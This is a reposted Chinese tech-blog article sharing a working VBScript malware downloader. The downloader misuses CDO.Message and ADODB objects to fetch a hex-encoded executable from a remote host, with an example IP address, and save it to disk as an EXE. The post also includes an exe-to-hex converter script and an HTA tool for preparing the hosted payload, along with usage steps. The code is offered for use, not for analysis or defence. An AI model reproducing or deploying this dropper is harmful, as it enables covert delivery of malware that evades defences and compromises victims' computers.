最新版利用CDO.Message做的vbs下載者

2019-10-26 18:01:55

字體：大中小

來源：轉載

供稿：網友

vbs下載者有很多了，我這里是一個偉大的發明，利用CDO.Message做的vbs下載者。偉大是裝B的意思。
NP先把代碼寫完了，詳情看這里：http://hi.baidu.com/vbs_zone/blog/item/f254871382e6d0045aaf5358.html

LCX大哥在寫他的BLOG備份腳本時發現 CDO.MESSAGE可以訪問網絡下載東西，說是研究研究或許可以用來當下載者用。
于是研究了一會。寫出個粗糙的DEMO。
exe2hex.vbs //xiaolu寫的exe2vbs ，我修改成直接拖放,轉成十六進制
================================================

復制代碼代碼如下:

'code by xiaolu
'change by NetPatch
on error resume next
set arg=wscript.arguments
if arg.count=0 then wscript.quit
do while 1
fname=arg(0)
err.number=0
Set Ado = CreateObject("adodb.stream")
With Ado
.Type = 1
.open
.loadfromfile fname
ss = .read
End With
if err.number<>0 then
if msgbox("文件打開錯誤!",1,"File2VBS")=2 then Wscript.quit
else
exit do
end if
loop
if fname="" then Wscript.quit
Set Fso=CreateObject("Scripting.FileSystemObject")
Set File=fso.OpenTextFile(arg(0)&".htm",2, True)
File.write Bin2Str(ss)
File.close
Set fso=nothing
Ado.close
set Abo=nothing
Function Bin2Str(Re)
For i = 1 To lenB(Re)
bt = AscB(MidB(Re, i, 1))
if bt < 16 Then Bin2Str=Bin2Str&"0"
Bin2Str=Bin2Str & Hex(bt)
Next
End Function

======================================
下載者 down.vbs
=============
復制代碼代碼如下:

on error resume next
set arg=wscript.arguments
if arg.count=0 then wscript.quit
'code by NetPatch
'cscript down.vbs http://122.136.32.55/demo.htm c:/good.exe
Set Mail1 = CreateObject("CDO.Message")
Mail1.CreateMHTMLBody arg(0),31
ss= Mail1.HTMLBody
Set Mail1 = Nothing
Set RS=CreateObject("ADODB.Recordset")
L=Len(ss)/2
RS.Fields.Append "m",205,L
RS.Open:RS.AddNew
RS("m")=ss&ChrB(0)
RS.Update
ss=RS("m").GetChunk(L)
Set s=CreateObject("ADODB.Stream")
with s
.Mode = 3
.Type = 1
.Open()
.Write ss
.SaveToFile arg(1),2
end with

==================================
demo.htm內容時用exe2hex.vbs轉EXE后獲得的
使用方法：
1.exe2hex.vbs 把exe轉成十六進制，放到網絡上
2.down.vbs http://xxx/demo.htm c:/good.exe

由于NP寫的不知什么原因，在我機器上執行后生成的exe，進程不會自動退出，我重新更新一下。
＝＝＝＝＝＝＝用下面這個hta文件來轉exe變成16進制的html保存了。這樣也會方便一點。＝＝＝＝＝＝＝
復制代碼代碼如下:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>package file v0.1</title>
<meta http-equiv="Content-Type" content="text/html; charset=GB2312">
<HTA:APPLICATION
ID="package file v0.1"
APPLICATIONNAME="package file v0.1"
VERSION="0.1"
SCROLL="no"
INNERBORDER="no"
CONTEXTMENU="yes"
CAPTION="yes"
ICON="no"
SHOWINTASKBAR="yes"
SINGLEINSTANCE="yes"
SYSMENU="yes"
MAXIMIZEBUTTON ="no"
WINDOWSTATE="normal"
NAVIGABLE="yes"
/>
<SCRIPT LANGUAGE="VBScript">
function transfert()
dim filename
filename = document.getElementById("srcFile").value
if len(filename)>0 then
dim oReq
'on error resume next
'//創建XMLHTTP對象
set oReq = CreateObject("MSXML2.XMLHTTP")
oReq.open "get","file://" & filename,false
oReq.send
ff = oReq.responseBody
dim u,s,kk
u = lenb(ff)
redim kk(u-1)
for i=0 to u-1
s = hex(ascb(midb(ff,i+1,1)))
if len(s)<2 then
s = "0" & s
end if
'kk = kk & s
kk(i) = s
next
make filename,join(kk,"")
else
document.getElementById("srcFile").focus
msgbox "請選擇要壓縮的文件",16,"提示"
end if
end function
function make(filename,data)
dim htm,file
file = mid(filename,instrrev(filename,"/")+1)
htm = htm & data
dim fso,f
dim this_file
this_file = file & "-pf.htm"
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.OpenTextFile(this_file, 2, True)
f.Write htm
msgbox "生成文件" & this_file & "成功！",64,"生成"
end function
</SCRIPT>
</head>
<body marginleft=0 marginright=0 onload="window.resizeTo 389,145 ">
請選擇文件：<input type=file id="srcFile" style="width:260px;"><br><br>
<input type=button value=" 轉換 " onclick="transfert"> <input type=button value=" 關閉 " onclick="window.close">
</body>
</html>

上一篇：VBS利用SendKeys輸入中文字符的方法

下一篇：Dynamic Activity Window動態活動窗口vbs

發表評論

共有條評論